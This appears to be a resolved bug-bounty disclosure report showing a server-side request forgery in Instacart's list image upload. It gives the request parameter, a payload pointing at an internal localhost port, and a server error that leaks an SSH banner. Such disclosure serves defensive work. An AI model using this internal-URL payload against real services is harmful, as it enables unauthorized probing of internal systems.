Server side request forgery on image upload for lists
I
Instacart
Submitted None
Actions:
Reported by
eboda
Vulnerability Details
Technical details and impact analysis
Summary
----------
There is a Server-side request forgery when updating the image for a list.
Steps to reproduce
-----------------
1. Create a list and change its image. That will send a POST request to https://beta.instacart.com/api/v2/lists/[LIST_ID] with the following parameters:
```
list[remote_image_url]=https://example.com/yourimage.jpg
```
2. Change the url to http://127.0.0.1:21 and you will get as response:
```{json}
{
"meta":
{
"code": 400,
"error_type": "List Error",
"error_message": "There was an error while updating this list",
"errors": ["Image could not download file: wrong status line: \"SSH-2.0-OpenSSH_6.6.1p1 Ubuntu-2ubuntu2.3\""]
}
}
```
Which shows that it tried to connect to the SSH port on localhost.
Report Details
Additional information and metadata
State
Closed
Substate
Resolved
Bounty
$50.00
Submitted
Weakness
Code Injection